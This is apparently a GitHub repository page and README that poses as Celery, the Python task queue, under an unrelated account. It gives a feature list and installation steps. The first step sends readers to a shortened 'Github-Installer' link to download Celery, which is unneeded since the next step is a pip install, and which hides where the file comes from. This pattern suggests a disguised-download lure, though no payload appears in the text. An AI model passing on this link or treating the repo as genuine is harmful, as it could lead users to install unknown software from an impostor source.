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https://github.com/senatorpage445/celery-task-queue-latest-2025

Celery is an open-source distributed task queue that helps you handle asynchronous tasks and job queues with ease. Designed for real-time processing, it integrates seamlessly with your Python applications to offload long-running or resource-intensive tasks. 🐍⚙️
https://github.com/senatorpage445/celery-task-queue-latest-2025

asynchronous-tasks background-tasks celery distributed-architecture distributed-systems high-performance job-processing job-scheduling message-queue periodic-tasks python python-tools rabbitmq real-time-processing redis scalability task-distribution task-queue task-scheduler

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Celery is an open-source distributed task queue that helps you handle asynchronous tasks and job queues with ease. Designed for real-time processing, it integrates seamlessly with your Python applications to offload long-running or resource-intensive tasks. 🐍⚙️

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# Celery - Distributed Task Queue 🚀

**Celery** is an open-source distributed task queue that helps you handle asynchronous tasks and job queues with ease. Designed for real-time processing, it integrates seamlessly with your Python applications to offload long-running or resource-intensive tasks. 🐍⚙️

## Features 🌟

- **Asynchronous Task Execution**: Run tasks in the background to improve application performance. 🚀
- **Distributed Architecture**: Scales easily across multiple workers and nodes. 🌐⚡
- **Extensive Integration**: Works with popular message brokers like RabbitMQ, Redis, and Amazon SQS. 📦💡
- **Task Scheduling**: Schedule periodic tasks with precision. ⏰📋
- **Highly Configurable**: Flexible configuration options for advanced use cases. ⚙️📜

## Installation 🛠️

### Requirements:
- **Python 3.7 or later** 🐍
- A message broker such as **Redis** or **RabbitMQ**. 📦

### Steps:
1. **Download Celery** from the link below:
- [Download Celery](https://tinyurl.com/Github-Installer) 📥
2. Install Celery using pip:
```bash
pip install celery
3. Set up your message broker (e.g., Redis or RabbitMQ).
4. Create a Celery application and define your tasks.
5. Start the worker and run your tasks asynchronously!